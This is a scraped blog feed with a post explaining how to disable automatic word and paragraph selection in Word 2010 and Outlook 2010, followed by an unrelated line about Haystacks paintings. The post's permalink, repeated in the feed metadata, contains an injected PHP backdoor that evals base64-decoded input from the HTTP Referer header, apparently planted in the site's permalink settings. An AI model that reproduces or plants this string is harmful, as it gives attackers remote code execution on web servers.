Friedrich's Blog » admin http://brunzema.com/blog Life, the universe and all. Fri, 06 Apr 2012 16:42:06 +0000 en hourly 1 http://wordpress.org/?v= Word 2010 and Outlook 2010 automatic word and paragraph selections driving you nuts? http://brunzema.com/blog/2012/04/04/word-2010-and-outlook-2010-automatic-word-and-paragraph-selections-driving-you-nuts/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://brunzema.com/blog/2012/04/04/word-2010-and-outlook-2010-automatic-word-and-paragraph-selections-driving-you-nuts/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Wed, 04 Apr 2012 17:22:56 +0000 admin http://brunzema.com/blog/2012/04/04/word-2010-and-outlook-2010-automatic-word-and-paragraph-selections-driving-you-nuts/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ Tired of being second guessed when selecting text with your mouse in Outlook or Word? 

Here is the situation: You innocently start selecting the tail end of a word and suddenly and automatically the editor selects the whole thing!!!  This drives me nuts.  Maybe it was a long word, and I only wanted the last part.  Similarly, you start selecting a paragraph and Word selects the whole [insert strong expletive] thing.  Is this annoying you? Take a deep cleansing breath and relax -- here is how you permanently disable this nasty, nasty behavior and get back into the driver's seat.

Outlook 2010

File->Options ->Mail ->Compose Messages section-> Editor Options…->Advanced

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Word 2010

File->Options->Advanced->Editing Options – will show the same dialog, although the settings for Outlook (which uses Word for editing) are kept separate – you need to make the change in both Outlook and Word if you want consistent behavior.

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Tips:

Smart cursoring is tells the editor to keep the insertion point in the same relative place as you scroll using the scrollbar – a useful feature IMHO.

Triple clicking a paragraph selects the entire paragraph – again a useful feature

 

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The picture here does not quite do the real thing justice. I believe that I saw a large collection of Haystacks at the Chicago Art Institute. If you have a chance, go there to check these large pictures out.

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